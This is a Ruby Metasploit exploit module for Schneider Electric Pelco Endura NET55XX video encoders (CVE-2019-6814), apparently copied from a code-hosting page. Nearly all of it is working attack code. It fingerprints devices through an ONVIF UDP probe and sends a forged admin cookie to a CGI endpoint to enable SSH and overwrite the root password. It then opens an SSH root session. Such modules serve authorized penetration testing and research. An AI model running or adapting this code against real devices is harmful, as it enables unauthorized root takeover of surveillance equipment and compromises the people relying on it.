157 lines
5.7 KiB
Ruby
157 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',
|
|
'Description' => %q{
|
|
This module exploits inadequate access controls within the webUI to enable
|
|
the SSH service and change the root password. This module has been tested successfully
|
|
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Lucas Dinucci <idntk.lucdin@gmail.com>',
|
|
'Vitor Esperança <vitor@machiaveliclabs.com>'
|
|
],
|
|
'References' => [
|
|
['CVE', '2019-6814'],
|
|
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
|
|
],
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [ [ 'Universal', {} ] ],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2019-01-25',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
|
|
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
|
]
|
|
)
|
|
end
|
|
|
|
def new_password
|
|
datastore['NEW_PASSWORD']
|
|
end
|
|
|
|
def check
|
|
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
|
|
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
|
|
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
|
|
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
|
|
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
|
|
'<a:ReplyTo>'\
|
|
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
|
|
'</a:ReplyTo>'\
|
|
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
|
|
'</Header>'\
|
|
'<Body>'\
|
|
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
|
|
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
|
|
'</Probe>'\
|
|
'</Body>'\
|
|
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'
|
|
|
|
connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })
|
|
udp_sock.put(xmlPayload)
|
|
resp = []
|
|
resp << udp_sock.get(datastore['TIMEOUT'])
|
|
xmlResponse = resp.join(',')
|
|
disconnect_udp
|
|
if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def change_password
|
|
print_status("#{peer} - Attempt to change the root password...")
|
|
post = { enable: true, passwd: new_password, userid: 'root' }.to_json
|
|
|
|
login = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
|
|
'data' => post,
|
|
'headers' =>
|
|
{
|
|
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
|
|
'Content-Type' => 'application/json;charset=utf-8'
|
|
}
|
|
}, timeout = datastore['TIMEOUT'])
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200
|
|
print_good("#{rhost}:80 - Successfully changed the root password...")
|
|
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
|
|
end
|
|
|
|
def do_login
|
|
change_password
|
|
print_status("#{rhost}:22 - Attempt to start a SSH connection...")
|
|
opts = ssh_client_defaults.merge({
|
|
auth_methods: ['password', 'keyboard-interactive'],
|
|
port: 22,
|
|
password: new_password
|
|
})
|
|
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
begin
|
|
ssh = nil
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
|
|
end
|
|
rescue Rex::ConnectionError
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
print_error "#{rhost}:22 SSH - Disconnected during negotiation"
|
|
rescue ::Timeout::Error
|
|
print_error "#{rhost}:22 SSH - Timed out during negotiation"
|
|
rescue Net::SSH::AuthenticationFailed
|
|
print_error "#{rhost}:22 SSH - Failed authentication"
|
|
rescue Net::SSH::Exception => e
|
|
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
|
|
end
|
|
if ssh
|
|
conn = Net::SSH::CommandStream.new(ssh)
|
|
return conn
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
conn = do_login
|
|
if conn
|
|
print_good("#{rhost}:22 - Session established ")
|
|
handler(conn.lsock)
|
|
end
|
|
end
|
|
end
|